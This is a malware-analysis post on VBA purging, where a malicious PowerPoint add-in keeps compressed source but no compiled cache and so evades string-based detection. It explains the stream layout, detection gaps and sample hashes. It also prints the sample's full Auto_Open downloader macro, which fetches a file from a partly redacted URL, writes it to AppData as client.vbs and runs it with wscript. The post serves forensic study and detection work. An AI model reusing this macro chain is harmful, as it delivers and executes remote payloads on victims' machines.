Evidence of VBA purging in a malicious PowerPoint add-in

Malicious macros don't always keep both their source code and their compiled cache. If a PowerPoint add-in (PPAM) has a module stream that still holds decompressible VBA source while the cache for the compiled p-code is empty, the analysis should move on to the source and its entry point. It should not stop just because the decompiler has nothing to show.

The sample is a PPAM recorded in 2020: MD5 730a8401140edb4c79d563f306ca529e, SHA-256 20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11. The commands run in a Windows command prompt, using zipdump.py and oledump.py (the latter under Python 3.7). The focus is the layout of the VBA storage and the blind spot it creates for static detection. A structural trait on its own does not make a file malicious.

A module stream holds two representations

A VBA module stream usually has two parts. First comes PerformanceCache, an implementation-specific cache of data tied to the compiled code; after it comes CompressedSourceCode, the compressed source. Calling both "the macro code" hides an important difference: the two can disagree, and a file may keep only one of them.

The boundary between them isn't found by searching for strings. For each module, the dir stream holds a MODULEOFFSET record with the offset where its compressed source starts. The dir stream is itself compressed, so a parser has to decompress it and match those records to the right stream names before it can split any module correctly.

Once the cache is purged, the source starts at the very beginning of the stream and its MODULEOFFSET becomes 0. Other streams, such as _VBA_PROJECT and __SRP_*, also hold cache data, so calling a file "source only" means checking the whole VBA storage, not a single module.

This is the opposite of VBA stomping. Stomping removes or alters the source and leaves the compiled form in place; here the cache is gone and the source stays. The technique is known as VBA purging. The two call for different forensic approaches, and the stock advice to "look at the p-code" does not cover every sample.

From the ZIP wrapper to the VBA storage

A PPAM is an OOXML container, which is a ZIP archive on the outside. The VBA project is the member ppt/vbaProject.bin, and that member is an OLE compound file in its own right. The tree below is the layout once every layer is opened; size is the stream length in bytes as oledump.py reports it.

These steps produce that layout. Each step's raw output is folded under its command.

Split at MODULEOFFSET, the two module streams look like this: the sample's stream is compressed source from end to end, while the regular document's source is only the last 81 bytes.

Malice comes from behavior, not cache size

Once the source is decompressed, the chain is plain to see. The Auto_Open entry point creates a Microsoft.XMLHTTP object to fetch remote content, uses Adodb.Stream to save the response as client.vbs in the AppData folder, and hands that file to the wscript script host. Fetch from the network, drop a script, run it: that chain is far closer to the evidence a verdict needs than an empty cache is.

Attribute VB_Name = "Módulo1"
Public Sub Auto_Open()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://gist.githubusercontent.com/<redacted>/<redacted>/raw/<redacted>/DASASDASDASD312312%2520-%2520Copia%2520(3).png", False
xHttp.Send
Dim j As String
j = Environ("AppDATA")
With bStrm
 .Type = 1
 .Open
 .write xHttp.responseBody
 .savetofile j & "/client.vbs", 2 '//overwrite
End With
Shell "wscript " & j & "/client.vbs", vbNormalFocus


End Sub

1. Auto_Open is the entry point: PowerPoint calls it automatically when it loads the add-in.
2. Creates a Microsoft.XMLHTTP object to make the HTTP request.
3. Fetches the remote file synchronously (the last argument is False). The URL ends in .png, yet the response is saved as a script below.
4. Adodb.Stream writes the response in binary mode (.Type = 1) to client.vbs in the AppData folder; 2 overwrites any existing file.
5. Hands the dropped script to the wscript script host.

Keep three levels of conclusion apart:

• Structural facts already visible: the cache is missing, the compressed source is present, and the offsets in dir match the stream contents.
• Code behavior already visible: the macro downloads content from the network and launches a script.
• Outcomes that need more evidence: what the remote server actually returned at the time, what the script did next, and whether the document ever ran successfully on a target.

Static source can't stand in for the network response or execution logs. Nor does it matter for a structural analysis of the historical source whether the remote URL still works today.

Why old string-based rules miss it

Rules that scan the document container for plaintext API names sometimes actually match strings in the compiled cache. The same identifiers exist in the VBA source, but once compressed they don't necessarily appear as contiguous plaintext bytes. So after the cache is purged, those rules lose the bytes they matched on, while the macro may behave exactly as before.

That doesn't mean every rule breaks. Detections built on stream structure, decompressed source, API combinations or runtime behavior read entirely different input. When you evaluate a rule, first pin down what it reads (the raw container, the module stream, the decompressed source or the p-code), and only then compare how its hits change.

The two historical scans below are two states of one experiment: a malicious Word document (.doc, not the PPAM above) in its original form, and the same document with its p-code purged. The purged copy is named after the original's SHA-256 plus the suffix -no-p-code.vir.

The scan pages showed only some of the engines, and those are the ones listed in each card; the totals come from the summary at the top of each page. Of the engines visible on both, Ad-Aware and AegisLab flag the original as W97M.Downloader.GRU and Trojan.MSWord.Agent.a!c but report the purged copy as undetected.

Cross-check the structure instead of trusting one signal

In a review, put each module on one row: module name, stream size, MODULEOFFSET, cache length, source length, decompression result, and whether an entry point exists. Here are the sample and the regular document from above (n/a means not shown above):

At a minimum, the offset has to fit this bounds model:

def split_module(module: bytes, source_offset: int):
    if not 0 <= source_offset <= len(module):
        raise ValueError("source offset outside module stream")
    return module[:source_offset], module[source_offset:]

cache, source = split_module(b"compressed-source-placeholder", 0)
assert cache == b"" and source

Indicators

These are the sample hashes from this post and the file the macro drops. The p-code-purged copy was produced in the experiment above. The macro's download URL is redacted in this post, so it is not listed.

Summary

One important counterexample remains: legitimate document generation libraries and VBA cleanup tools also produce documents without a cache. So:

• A zero offset, a 7-byte _VBA_PROJECT and missing __SRP_* streams are leads for an investigation, not grounds for blocking a file on their own.
• When the decompiler shows no p-code, decompress the source and look for the entry point instead of ending the analysis there.
• Before evaluating a detection rule, pin down which layer it reads: the raw container, the module stream, the decompressed source or the p-code.
• Reliable conclusions come from cross-checking structural consistency against what the source code actually does.